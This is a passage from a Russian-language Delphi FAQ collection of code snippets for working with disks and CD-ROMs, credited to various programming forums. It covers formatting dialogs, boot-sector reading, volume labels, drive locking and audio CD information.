    sSerNum := ScsiHddSerialNumber(hDevice);
    if sSerNum = '' then
      WriteLn('Error on DeviceIoControl: ',
        SysErrorMessageGetLastError))
else
  WriteLn('Device ' + sDeviceName
    + ' serial number = "', sSerNum, '"');
  finally
  CloseHandle(hDevice);
end;
end.

For more information about SCSI commands:

ftp://ftp.t10.org/t10/drafts/scsi-1/
ftp://ftp.t10.org/t10/drafts/spc/
ftp://ftp.t10.org/t10/drafts/spc2/
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как форматировать диск?

unit Unit1;
interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TUndocSHFormat = class(TForm)
    Label1: TLabel;
    Combo1: TComboBox;
    cmdSHFormat: TButton;
    cmdEnd: TButton;
    lbMessage: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure cmdSHFormatClick(Sender: TObject);
    procedure cmdEndClick(Sender: TObject);
  private
    procedure LoadAvailableDrives;
  public
  end;

var
  UndocSHFormat: TUndocSHFormat;

implementation

{$R *.DFM}

type POSVERSIONINFO = ^TOSVERSIONINFO;
  TOSVERSIONINFO = record
    dwOSVersionInfoSize: Longint;
    dwMajorVersion: Longint;
    dwMinorVersion: Longint;
    dwBuildNumber: Longint;
    dwPlatformId: Longint;
    szCSDVersion: PChar;
  end;

function GetVersionEx(lpVersionInformation: POSVERSIONINFO): Longint; stdcall; external 'kernel32.dll' name 'GetVersionExA';

const VER_PLATFORM_WIN32s = 0;
const VER_PLATFORM_WIN32_WINDOWS = 1;
const VER_PLATFORM_WIN32_NT = 2;

function SHFormatDrive(hwndOwner: longint; iDrive: Longint; iCapacity: LongInt;
  iFormatType: LongInt): Longint;
  stdcall; external 'shell32.dll';

const SHFD_CAPACITY_DEFAULT = 0;
const SHFD_CAPACITY_360 = 3;
const SHFD_CAPACITY_720 = 5;

//Win95
//Const SHFD_FORMAT_QUICK = 0;
//Const SHFD_FORMAT_FULL = 1;
//Const SHFD_FORMAT_SYSONLY = 2;

//WinNT
//Public Const SHFD_FORMAT_FULL = 0
//Public Const SHFD_FORMAT_QUICK = 1

const SHFD_FORMAT_QUICK: LongInt = 0;
const SHFD_FORMAT_FULL: LongInt = 1;
const SHFD_FORMAT_SYSONLY: LongInt = 2;

function GetLogicalDriveStrings(nBufferLength: LongInt; lpBuffer: PChar): LongInt;
  stdcall; external 'kernel32.dll' name 'GetLogicalDriveStringsA';

function GetDriveType(nDrive: PChar): LongInt;
  stdcall; external 'kernel32.dll' name 'GetDriveTypeA';

const DRIVE_REMOVABLE = 2;
const DRIVE_FIXED = 3;
const DRIVE_REMOTE = 4;
const DRIVE_CDROM = 5;
const DRIVE_RAMDISK = 6;

function IsWinNT: Boolean;
var osvi: TOSVERSIONINFO;
begin
  osvi.dwOSVersionInfoSize := SizeOf(osvi);
  GetVersionEx(@osvi);
  IsWinNT := (osvi.dwPlatformId = VER_PLATFORM_WIN32_NT);
end;

function GetDriveDisplayString(currDrive: PChar): pchar;
begin
  GetDriveDisplayString := nil;
  case GetDriveType(currDrive) of
    0, 1: GetDriveDisplayString := ' - Undetermined Drive Type -';
    DRIVE_REMOVABLE:
      case currDrive[1] of
        'A', 'B': GetDriveDisplayString := 'Floppy drive';
      else
        GetDriveDisplayString := 'Removable drive';
      end;
    DRIVE_FIXED: GetDriveDisplayString := 'Fixed (Hard) drive';
    DRIVE_REMOTE: GetDriveDisplayString := 'Remote drive';
    DRIVE_CDROM: GetDriveDisplayString := 'CD ROM';
    DRIVE_RAMDISK: GetDriveDisplayString := 'Ram disk';
  end;
end;

procedure TUndocSHFormat.LoadAvailableDrives;
var
  a, r: LongInt;
  lpBuffer: array[0..256] of char;
  currDrive: array[0..256] of char;
  lpDrives: pchar;

begin
  getmem(lpDrives, 256);
  fillchar(lpBuffer, 64, #32);

  r := GetLogicalDriveStrings(255, lpBuffer);

  if r <> 0 then
    begin
      strlcopy(lpBuffer, lpBuffer, r);
      for a := 0 to r do
        lpDrives[a] := lpBuffer[a];
      lpBuffer[r + 1] := #0;
      repeat
        strlcopy(currDrive, lpDrives, 3);
        lpDrives := @lpDrives[4];
        Combo1.Items.Add(strpas(currDrive) + ' ' + GetDriveDisplayString(currDrive));
      until lpDrives[0] = #0;
    end;
end;

procedure TUndocSHFormat.FormCreate(Sender: TObject);
begin
  lbMessage.caption := '';
  LoadAvailableDrives;
  Combo1.ItemIndex := 0;
  if IsWinNT then
    begin
      SHFD_FORMAT_FULL := 0;
      SHFD_FORMAT_QUICK := 1;
    end
  else //it's Win95
    begin
      SHFD_FORMAT_QUICK := 0;
      SHFD_FORMAT_FULL := 1;
      SHFD_FORMAT_SYSONLY := 2;
    end;
end;

procedure TUndocSHFormat.cmdSHFormatClick(Sender: TObject);
var
  resp: Integer;
  drvToFormat: Integer;
  prompt: string;
begin
  drvToFormat := Combo1.ItemIndex;
  prompt := 'Are you sure you want to run the Format dialog against ' + Combo1.Text;

  if drvToFormat > 0 then
    resp := MessageDLG(prompt, mtConfirmation, [mbYes, mbNo], 0)
  else
    resp := mrYes;

  if resp = mrYes then
    begin
      lbMessage.Caption := 'Checking drive for disk...';
      Application.ProcessMessages;
      SHFormatDrive(handle, drvToFormat, SHFD_CAPACITY_DEFAULT, SHFD_FORMAT_QUICK);
      lbMessage.caption := '';
    end;
end;

procedure TUndocSHFormat.cmdEndClick(Sender: TObject);
begin
  close;
end;

end.

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Как узнать, находится ли дискета в дисководе?

type
  TDriveState(DS_NO_DISK, DS_UNFORMATTED_DISK, DS_EMPTY_DISK,
    DS_DISK_WITH_FILES);

function DriveState(driveletter: Char): TDriveState;
var
  mask: string[6];
  sRec: TSearchRec;
  oldMode: Cardinal;
  retcode: Integer;
begin
  oldMode: = SetErrorMode(SEM_FAILCRITICALERRORS);
  mask := '?:\*.*';
  mask[1] := driveletter;
{$I-} { не возбуждаем исключение при неудаче }
  retcode := FindFirst(mask, faAnyfile, SRec);
  FindClose(SRec);
{$I+}
  case retcode of
    0: Result := DS_DISK_WITH_FILES; { обнаружен по крайней мере один файл }
    -18: Result := DS_EMPTY_DISK; { никаких файлов не обнаружено, но ok }
    -21: Result := DS_NO_DISK; { DOS ERROR_NOT_READY }
  else
    Result := DS_UNFORMATTED_DISK; { в моей системе значение равно -1785!}
  end;
  SetErrorMode(oldMode);
end; { DriveState }

Я тестировал код под Win NT 3.5, так что проверьте его на ошибки в ситуациях, когда дискета отсутствует или неотформатирована под Win 3.1 и WfW 3.11, если, конечно, это необходимо.

Ревизия для Win95:

case RetCode of
  0: Result := DS_DISK_WITH_FILES;
  -18: Result := DS_EMPTY_DISK;
  else
    Result := DS_NO_DISK;
end;

Взято с http://delphiworld.narod.ru

function DiskInDrive(const Drive: char): Boolean;
var
  DrvNum: byte;
  EMode: Word;
begin
  result := false;
  DrvNum := ord(Drive);
  if DrvNum >= ord('a') then
    dec(DrvNum, $20);
  EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
  try
    if DiskSize(DrvNum - $40) <> -1 then
      result := true
    else
      messagebeep(0);
  finally
    SetErrorMode(EMode);
  end;
end;

...можно для пущей функциональности добавить ряд строк:

function DiskInDrive(const Drive: char): Boolean;
var
  DrvNum: byte;
  EMode: Word;
begin
  result := true; // было false
  DrvNum := ord(Drive);
  if DrvNum >= ord('a') then
    dec(DrvNum, $20);
  EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
  try
    while DiskSize(DrvNum - $40) = -1 do
    begin // при неудаче выводим диалог
      if (Application.MessageBox('Диск не готов...' + chr(13) + chr(10) +
        'Повторить?', PChar('Диск ' + UpperCase(Drive)), mb_OKCANCEL +
        mb_iconexclamation {IconQuestion}) = idcancel) then
      begin
        Result := false;
        Break;
      end;
    end;
  finally
    SetErrorMode(EMode);
  end;
end;

Автор: Галимарзанов Фанис

Взято с http://delphiworld.narod.ru


Как сделать виртуальный диск?

{ ... }
if DefineDosDevice(DDD_RAW_TARGET_PATH, 'P:', 'F:\Backup\Music\Modules') then
  ShowMessage('Drive was created successfully')
else
  ShowMessage('Error creating drive");
    { ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Можно ли удалять из списка TDriveComboBox диски которые отключены?

На некоторых laptop компьютерах может не быть флоппи дисковода. Можно ли удалять из списка TDriveComboBox диски которые отключены?

В примере TDriveComboBox не показывает дисководы, которые не готовы. (not ready). Учтите что на многих компьютерах будет ощутимая задержка при поверке plug&play флоппи дисковода.

procedure TForm1.FormCreate(Sender: TObject);
var
  i: integer;
  OldErrorMode: Word;
  OldDirectory: string;
begin
  OldErrorMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
  GetDir(0, OldDirectory);
  i := 0;
  while i <= DriveComboBox1.Items.Count - 1 do
    begin
{$I-}
      ChDir(DriveComboBox1.Items[i][1] + ':\');
{$I+}
      if IoResult <> 0 then
        DriveComboBox1.Items.Delete(i)
      else
        inc(i);
    end;
  ChDir(OldDirectory);
  SetErrorMode(OldErrorMode);
end;


Прочитать boot сектор

Вообще-то загрузочный сектор можно прочитать вот так:

type
  TSector = array[0..511] of Byte;
var
  Boot: TSector;
begin
  ReadBoot(Drive, Boot);

Но учитывая разницу платформ 95, 98, Me и NT, 2000, XP можно сделать 2 процедуры, а в главной части проги вызывать необходимую:

//для 95, 98, Me
type
   TDiocRegisters = record
     EBX, EDX, ECX, EAX, EDI, ESI, Flags: LongWord end;

   TVWin32CtlCode = (ccNone, ccVWin32IntIoctl, ccVWin32Int25,
     ccVWin32Int26, ccVWin32Int13);

 function VWin32(CtlCode: TVWin32CtlCode;
   var Regs: TDiocRegisters): Boolean; // вспомогательная процедура
  var
     Device: THandle;
     Count: LongWord;
   begin
   Device := CreateFile('\.\VWIN32', 0, 0, nil, 0,
     FILE_FLAG_DELETE_ON_CLOSE, 0);
   if Device = INVALID_HANDLE_VALUE then
     raise Exception.Create(SysErrorMessage(GetLastError));
   try
     Result := DeviceIoControl(Device, Ord(CtlCode), @Regs,
       SizeOf(Regs), @Regs, SizeOf(Regs), Count, nil);
   finally
     CloseHandle(Device) end end;

//само чтение
procedure ReadBoot95(Drive: Char; var Boot: TSector);
   var
     Regs: TDiocRegisters;
   begin
   with Regs do begin
     EAX := Ord(UpCase(Drive)) - Ord('A');
     EBX := LongWord(@Boot);
     ECX := 1;
     EDX := 0 end;
   if not VWin32(ccVWin32Int25, Regs) then
     raise Exception.Create(SysErrorMessage(GetLastError)) end;

//для NT, 2000, XP попроще
type
   TSector = array[0..511] of Byte;
 procedure ReadBootNT(Drive: Char; var Boot: TSector);
   var
     BytesRead: Cardinal;
     H: THandle;
   begin
   H := CreateFile(PChar(Format('\.\%s:', [UpCase(Drive)])),
     GENERIC_READ, 0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
   if H = INVALID_HANDLE_VALUE then
     raise Exception.Create(SysErrorMessage(GetLastError));
   try
     if not ReadFile(H, Boot, SizeOf(Boot), BytesRead, nil)then
       raise Exception.Create(SysErrorMessage(GetLastError));
   finally
     CloseHandle(H) end end;

// а юзать так

var
     Boot: TSector;
   begin
   case Win32Platform of
     VER_PLATFORM_WIN32_WINDOWS:
       ReadBoot95(Drive, Boot);
     VER_PLATFORM_WIN32_NT:
       ReadBootNT(Drive, Boot) end;

Boot и есть необходимый массив.

Автор: startinger
Взято из http://forum.sources.ru


Управление метками томов дисков

Данный совет содержит исходный код модуля, который может помочь Вам получить, установить и удалить метку тома гибкого или жесткого диска. Код получения метки тома содержит функцию Delphi FindFirst, код для установки и удаления метки тома использует вызов DOS-прерывания 21h и функции 16h и 13h соответственно. Поскольку функция 16h не поддерживается Windows, она должна вызываться через DPMI-прерывание 31h, функцию 300h.

{ *** НАЧАЛО КОДА МОДУЛЯ VOLLABEL *** }
unit VolLabel;

interface

uses Classes, SysUtils, WinProcs;

type

  EInterruptError = class(Exception);
  EDPMIError = class(EInterruptError);
  Str11 = string[11];

procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
function GetVolumeLabel(Drive: Char): Str11;
procedure DeleteVolumeLabel(Drv: Char);

implementation

type

  PRealModeRegs = ^TRealModeRegs;
  TRealModeRegs = record
    case Integer of
      0: (
        EDI, ESI, EBP, EXX, EBX, EDX, ECX, EAX: Longint;
        Flags, ES, DS, FS, GS, IP, CS, SP, SS: Word);
      1: (
        DI, DIH, SI, SIH, BP, BPH, XX, XXH: Word;
        case Integer of
          0: (
            BX, BXH, DX, DXH, CX, CXH, AX, AXH: Word);
          1: (
            BL, BH, BLH, BHH, DL, DH, DLH, DHH,
            CL, CH, CLH, CHH, AL, AH, ALH, AHH: Byte));
  end;

  PExtendedFCB = ^TExtendedFCB;
  TExtendedFCB = record
    ExtendedFCBflag: Byte;
    Reserved1: array[1..5] of Byte;
    Attr: Byte;
    DriveID: Byte;
    FileName: array[1..8] of Char;
    FileExt: array[1..3] of Char;
    CurrentBlockNum: Word;
    RecordSize: Word;
    FileSize: LongInt;
    PackedDate: Word;
    PackedTime: Word;
    Reserved2: array[1..8] of Byte;
    CurrentRecNum: Byte;
    RandomRecNum: LongInt;
  end;

procedure RealModeInt(Int: Byte; var Regs: TRealModeRegs);
{ процедура работает с прерыванием 31h, функцией 0300h для иммитации }
{ прерывания режима реального времени для защищенного режима. }
var

  ErrorFlag: Boolean;
begin

  asm
    mov ErrorFlag, 0       { успешное завершение }
    mov ax, 0300h          { функция 300h }
    mov bl, Int            { прерывание режима реального времени, которое необходимо выполнить }
    mov bh, 0              { требуется }
    mov cx, 0              { помещаем слово в стек для копирования, принимаем ноль }
    les di, Regs           { es:di = Regs }
    int 31h                { DPMI-прерывание 31h }
    jnc @@End              { адрес перехода установлен в error }
    @@Error:
    mov ErrorFlag, 1       { возвращаем false в error }
    @@End:
  end;
  if ErrorFlag then
    raise EDPMIError.Create('Неудача при выполнении DPMI-прерывания');
end;

function DriveLetterToNumber(DriveLet: Char): Byte;
{ функция преобразования символа буквы диска в цифровой эквивалент. }
begin

  if DriveLet in ['a'..'z'] then
    DriveLet := Chr(Ord(DriveLet) - 32);
  if not (DriveLet in ['A'..'Z']) then
    raise
      EConvertError.CreateFmt('Не могу преобразовать %s в числовой эквивалент диска',

      [DriveLet]);
  Result := Ord(DriveLet) - 64;
end;

procedure PadVolumeLabel(var Name: Str11);
{ процедура заполнения метки тома диска строкой с пробелами }
var

  i: integer;
begin

  for i := Length(Name) + 1 to 11 do
    Name := Name + ' ';
end;

function GetVolumeLabel(Drive: Char): Str11;
{ функция возвращает метку тома диска }
var

  SR: TSearchRec;
  DriveLetter: Char;
  SearchString: string[7];
  P: Byte;
begin

  SearchString := Drive + ':\*.*';
  { ищем метку тома }
  if FindFirst(SearchString, faVolumeID, SR) = 0 then
  begin
    P := Pos('.', SR.Name);
    if P > 0 then
    begin { если у него есть точка... }
      Result := '           '; { пространство между именами }
      Move(SR.Name[1], Result[1], P - 1); { и расширениями }
      Move(SR.Name[P + 1], Result[9], 3);
    end
    else
    begin
      Result := SR.Name; { в противном случае обходимся без пробелов }
      PadVolumeLabel(Result);
    end;
  end
  else
    Result := '';
end;

procedure DeleteVolumeLabel(Drv: Char);
{ процедура удаления метки тома с данного диска }
var

  CurName: Str11;
  FCB: TExtendedFCB;
  ErrorFlag: WordBool;
begin

  ErrorFlag := False;
  CurName := GetVolumeLabel(Drv); { получение текущей метки тома }
  FillChar(FCB, SizeOf(FCB), 0); { инициализируем FCB нулями }
  with FCB do
  begin
    ExtendedFCBflag := $FF; { всегда }
    Attr := faVolumeID; { Аттрибут Volume ID }
    DriveID := DriveLetterToNumber(Drv); { Номер диска }
    Move(CurName[1], FileName, 8); { необходимо ввести метку тома }
    Move(CurName[9], FileExt, 3);
  end;
  asm
    push ds                             { сохраняем ds }
    mov ax, ss                          { помещаем сегмент FCB (ss) в ds }
    mov ds, ax
    lea dx, FCB                         { помещаем смещение FCB в dx }
    mov ax, 1300h                       { функция 13h }
    Call DOS3Call                       { вызываем int 21h }
    pop ds                              { восстанавливаем ds }
    cmp al, 00h                         { проверка на успешность выполнения }
    je @@End
    @@Error:                            { устанавливаем флаг ошибки }
    mov ErrorFlag, 1
    @@End:
  end;
  if ErrorFlag then
    raise EInterruptError.Create('Не могу удалить имя тома');
end;

procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
{ процедура присваивания метки тома диска. Имейте в виду, что }
{ данная процедура удаляет текущую метку перед установкой новой. }
{ Это необходимое требование для функции установки метки. }
var

  Regs: TRealModeRegs;
  FCB: PExtendedFCB;
  Buf: Longint;
begin

  PadVolumeLabel(NewLabel);
  if GetVolumeLabel(Drive) <> '' then { если имеем метку... }
    DeleteVolumeLabel(Drive); { удаляем метку }
  Buf := GlobalDOSAlloc(SizeOf(PExtendedFCB)); { распределяем реальный буфер }
  FCB := Ptr(LoWord(Buf), 0);
  FillChar(FCB^, SizeOf(FCB), 0); { инициализируем FCB нулями }
  with FCB^ do
  begin
    ExtendedFCBflag := $FF; { требуется }
    Attr := faVolumeID; { Аттрибут Volume ID }
    DriveID := DriveLetterToNumber(Drive); { Номер диска }
    Move(NewLabel[1], FileName, 8); { устанавливаем новую метку }
    Move(NewLabel[9], FileExt, 3);
  end;
  FillChar(Regs, SizeOf(Regs), 0);
  with Regs do
  begin { Сегмент FCB }
    ds := HiWord(Buf); { отступ = ноль }
    dx := 0;
    ax := $1600; { Функция 16h }
  end;
  RealModeInt($21, Regs); { создаем файл }
  if (Regs.al <> 0) then { проверка на успешность выполнения }
    raise EInterruptError.Create('Не могу создать метку тома');
end;

end.
{ *** КОНЕЦ КОДА МОДУЛЯ VOLLABEL *** }

Взято с http://delphiworld.narod.ru


Как заблокировать доступ к дисководу?

const
 FILE_DEVICE_FILE_SYSTEM: Integer = $00000009;
 METHOD_BUFFERED: Integer = $00000000;
 FILE_ANY_ACCESS: Integer = $00000000;

function CTL_CODE(DeviceType, FunctionNo, Method, Access: Integer): Integer;
begin
 Result := (DeviceType shl 16) or (Access shl 14) or (FunctionNo shl 2) or (Method);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 LHandle: THandle;
 BytesReturned: Cardinal;
 MsgBuf: PChar;
 FSCTL_LOCK_VOLUME: Integer;
begin
 FSCTL_LOCK_VOLUME := CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6,
                                                  METHOD_BUFFERED, FILE_ANY_ACCESS);
 LHandle := CreateFile('\\.\A:', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ
                      or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL or
                      FILE_FLAG_DELETE_ON_CLOSE, 0);
 if LHandle <> 0 then
 begin
   if DeviceIOControl(LHandle, FSCTL_LOCK_VOLUME, nil, 0, nil, 0, BytesReturned, nil) then
     ShowMessage('Дисковод заблокирован. Нажмите ОК для разблокирования.')
   else
   begin
     if FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER or
          FORMAT_MESSAGE_FROM_SYSTEM, nil, GetLastError(), 0, @MsgBuf, 0, nil) > 0 then
     begin
       ShowMessage('Ошибка DeviceIOControl: ' + MsgBuf);
       LocalFree(Cardinal(MsgBuf));
     end
     else
       ShowMessage('Ошибка при вызове DeviceIOControl!');
   end;
   CloseHandle(LHandle);
 end
 else
   ShowMessage('Ошибка при вызове CreateFile!');
end;
Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


CD-ROM/CD-R/CD-RW

Cодержание раздела:

Блокировка/Разблокировка CD-ROM
Есть ли CD-ROM?
Как узнать букву CD-ROM?
Как записать CDR/CDRW?
Как выдвинуть дверцу CD-ROM?
Как загрузить иконку CD-ROM?
Как узнать серийный номер аудио CD?
Как узнать есть ли в заданном CD-ROM'е Audio CD?
Как получить информацию о дорожке аудио-CD?
CD Remember
Как различать звуковые CD New!
How to check, if a CD-Recorder is available? (WinXP) New!
Практически все о взломе CD New!
Как узнать производителя CD/DVD New!
Как открыть CD-ROM, если их несколько в системе? New!
Изменение скорости привода CD-ROM New!


Блокировка/Разблокировка CD-ROM

Вы уж простите, что на сях... сподручней было :\
Исходный код

//заблокировать
void CMFcDlg::OnBnClickedButton1()
{
HANDLE hDevice = CreateFile ("\\\\.\\E:",
 GENERIC_READ,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 NULL,
 NULL);
DWORD dwBytesReturned = 0;
PREVENT_MEDIA_REMOVAL pmr = {TRUE};
if(!DeviceIoControl (hDevice, IOCTL_STORAGE_MEDIA_REMOVAL, &pmr, sizeof(pmr), NULL, 0, &dwBytesReturned, NULL)) AfxMessageBox ("Door can\'t be locked");
CloseHandle (hDevice);
}

//разблокировать
void CMFcDlg::OnBnClickedButton2()
{
HANDLE hDevice = CreateFile ("\\\\.\\E:",
 GENERIC_READ,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 NULL,
 NULL);
DWORD dwBytesReturned = 0;
PREVENT_MEDIA_REMOVAL pmr = {FALSE};
if(!DeviceIoControl (hDevice, IOCTL_STORAGE_MEDIA_REMOVAL, &pmr, sizeof(pmr), NULL, 0, &dwBytesReturned, NULL)) AfxMessageBox ("Door can\'t be unlocked");
CloseHandle (hDevice);

}

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Есть ли CD-ROM?

GetLogicalDrives()
GetDriveType()

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru


Как узнать букву CD-ROM?

var DriveType: UInt;

DriveType := GetDriveType(PChar('F:\'));
if DriveType = DRIVE_CDROM then ShowMessage('Сидюк');

Взято с сайта http://blackman.wp-club.net/


Как записать CDR/CDRW?

К сожалению, реальных примеров пока не найдено, а литература в сети крайне скудна по этому поводу. Вот список линков по которым удалось хоть что-то найти:

1) на torry есть компонент
http://www.torry.net/vcl/filedrv/cd/xpburn.zip (только для WindowsXP)

2)http://www.rsdn.ru/forum/Message.aspx?mid=81732&only=1

3)http://www.micro-magic.com/cdrecording.html

Убедительная просьба, если кто располагает информацией о записи на CD поделиться - бросить либо в форум, либо мне на почту

Взято с Vingrad.ru http://forum.vingrad.ru


Как выдвинуть дверцу CD-ROM?

mciSendString('Set cdaudio Door Open Wait', nil, 0, handle);
mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);

Взято с сайта http://blackman.wp-club.net/


Как загрузить иконку CD-ROM?

function GetCDIcon(Drive: Char): TIcon;
var
  ico: TIcon;
  ini: TIniFile;
  s, p: string;
  i, j: Integer;
begin
  //Abbrechen wenn "AutoRun.Inf" nicht existiert.
  //Abort if "AutoRun.inf" doesn't exists.
  if FileExists(Drive + ':\autorun.inf') = False then Exit;

  //"AutoRun.inf" offnen
  //Opens the "AutoRun.inf"
  ini := TIniFile.Create(Drive + ':\autorun.inf');
  ico := TIcon.Create;

  try
    //Dateinamen lesen
    //Read the filename
    s := ini.ReadString('Autorun', 'ICON', '');

    //Abbrechen, wenn kein Icon festgelegt wurde
    //Abort if there is no icon specified
    if s = '' then Exit;

    //Icon von Datei laden
    //load the icon from a file
    if FileExists(s) then ico.LoadFromFile(s);
    if FileExists(Drive + ':\' + s) then ico.LoadFromFile(Drive + ':\' + s);

    //Icon aus einer Resource laden
    //Load the icon from a Win32 resource
    if (FileExists(s) = False) and (FileExists(Drive + ':\' + s) = False) then
    begin
      for j := (Pos(',', s) + 1) to Length(s) do
      begin
        p := p + s[j];
      end;
      i := StrToInt(p);
      for j := Length(s) downto (Pos(',', s)) do
        Delete(s, j, Length(s));

      if FileExists(s) = False then s := Drive + ':\' + s;

      ico.Handle := ExtractIcon(hinstance, PChar(s), i);
    end;

    Result := ico;
  finally
    ini.Free;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать серийный номер аудио CD?

CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает уникальную ID-строку.
Пример:

uses MMSystem, MPlayer;

procedure TForm1.Button1Click(Sender: TObject);
var
   mp : TMediaPlayer;
   msp : TMCI_INFO_PARMS;
   MediaString : array[0..255] of char;
   ret : longint;
begin
   mp := TMediaPlayer.Create(nil);
   mp.Visible := false;
   mp.Parent := Application.MainForm;
   mp.Shareable := true;
   mp.DeviceType := dtCDAudio;
   mp.FileName := 'D:';
   mp.Open;
   Application.ProcessMessages;
   FillChar(MediaString, sizeof(MediaString), #0);
   FillChar(msp, sizeof(msp), #0);
   msp.lpstrReturn := @MediaString;
   msp.dwRetSize := 255;
   ret := mciSendCommand(Mp.DeviceId, MCI_INFO, MCI_INFO_MEDIA_IDENTITY,
         longint(@msp));
   if Ret <> 0 then
      begin
         MciGetErrorString(ret, @MediaString, sizeof(MediaString));
         Memo1.Lines.Add(StrPas(MediaString));
      end
   else
      Memo1.Lines.Add(StrPas(MediaString));
   mp.Close;
   Application.ProcessMessages;
   mp.free;
end;
end.
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Как узнать есть ли в заданном CD-ROM'е Audio CD?

Можно использовать функцию Windows API GetDriveType() чтобы определить является ли дисковод CD-ROM'мом. И функцию API GetVolumeInformation() чтобы проверить VolumeName на равенство 'Audio CD'.
Пример:

function IsAudioCD(Drive : char) : bool;
var
   DrivePath : string;
   MaximumComponentLength : DWORD;
   FileSystemFlags : DWORD;
   VolumeName : string;
Begin
   sult := false;
   DrivePath := Drive + ':\';
   if GetDriveType(PChar(DrivePath)) <> DRIVE_CDROM then
      exit;
   SetLength(VolumeName, 64);
   GetVolumeInformation(PChar(DrivePath),PChar(VolumeName),
   Length(VolumeName),nil,MaximumComponentLength,FileSystemFlags,nil,0);
   if lStrCmp(PChar(VolumeName),'Audio CD') = 0 then
      result := true;
end;

function PlayAudioCD(Drive : char) : bool;
var
   mp : TMediaPlayer;
begin
   result := false;
   Application.ProcessMessages;
   if not IsAudioCD(Drive) then
      exit;
   mp := TMediaPlayer.Create(nil);
   mp.Visible := false;
   mp.Parent := Application.MainForm;
   mp.Shareable := true;
   mp.DeviceType := dtCDAudio;
   mp.FileName := Drive + ':';
   mp.Shareable := true;
   mp.Open;
   Application.ProcessMessages;
   mp.Play;
   Application.ProcessMessages;
   mp.Close;
   Application.ProcessMessages;
   mp.free;
   result := true;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
   if not PlayAudioCD('D') then
      ShowMessage('Not an Audio CD');
end;
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Как получить информацию о дорожке аудио-CD?

unit frmMain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, MMSystem;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Button2: TButton;
    Button3: TButton;
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    function IsAudioCD(Drive: char): bool;
  public
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

function TForm1.IsAudioCD(Drive: char): bool;
var
  DrivePath: string;
  MaximumComponentLength: DWORD;
  FileSystemFlags: DWORD;
  VolumeName: string;
begin
  Result := false;
  DrivePath := Drive + ':\';
  if GetDriveType(PChar(DrivePath)) = DRIVE_CDROM then
  begin
    SetLength(VolumeName, 64);
    GetVolumeInformation(PChar(DrivePath), PChar(VolumeName), Length(VolumeName), nil,
      MaximumComponentLength, FileSystemFlags, nil, 0);
    if lStrCmp(PChar(VolumeName), 'Audio CD') = 0 then
      Result := True;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if IsAudioCD(' D ') then
    showmessage('Cd is an audio cd')
  else
    showmessage('Cd is not an audio cd');
end;

procedure TForm1.Button3Click(Sender: TObject);
type
  TDWord = record
    High: Word;
    Low: Word;
  end;
var
  msp: TMCI_INFO_PARMS;
  MediaString: array[0..255] of char;
  ret: longint;
  I: integer;
  StatusParms: TMCI_STATUS_PARMS;
  MciSetParms: TMCI_SET_PARMS;
  MciOpenParms: TMCI_OPEN_PARMS;
  aDeviceID: MCIDEVICEID;

  function GetTheDeviceID: MCIDEVICEID;
  begin
    FillChar(MciOpenParms, SizeOf(MciOpenParms), #0);
    try
      MciOpenParms.lpstrDeviceType := 'cdaudio';
      ret := mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE + MCI_OPEN_SHAREABLE,
        LongInt(@MciOpenParms));
      Result := MciOpenParms.wDeviceID;
    except
      on E: Exception do
      begin
        Result := 0;
        showmessage('error receiving deviceIDt' + #13 + SysErrorMessage(GetLastError)
          + #13 + E.Message);
      end;
    end;
  end;

  function GetTrackInfo(const uMsg: UInt; const fdwCommand: DWord;
    const dwItem: DWord; const dwTrack: DWord): string;
  begin
    Result := 'Did not work...';
    FillChar(MediaString, SizeOf(MediaString), #0);
    FillChar(StatusParms, SizeOf(StatusParms), #0);
    StatusParms.dwItem := dwItem;
    StatusParms.dwTrack := dwTrack;
    ret := mciSendCommand(aDeviceID, uMsg, fdwCommand, longint(@StatusParms));
    if Ret = 0 then
      Result := IntToStr(StatusParms.dwReturn);
  end;

  procedure SetTimeInfo;
  begin
    FillChar(MciSetParms, SizeOf(MciSetParms), #0);
    MciSetParms.dwTimeFormat := MCI_FORMAT_MSF;
    ret := mciSendCommand(aDeviceID {Mp.DeviceId}, MCI_SET, MCI_SET_TIME_FORMAT,
      longint(@MciSetParms));
    if Ret <> 0 then
      Showmessage('Error convering timeformat...');
  end;

begin
  Memo1.Clear;
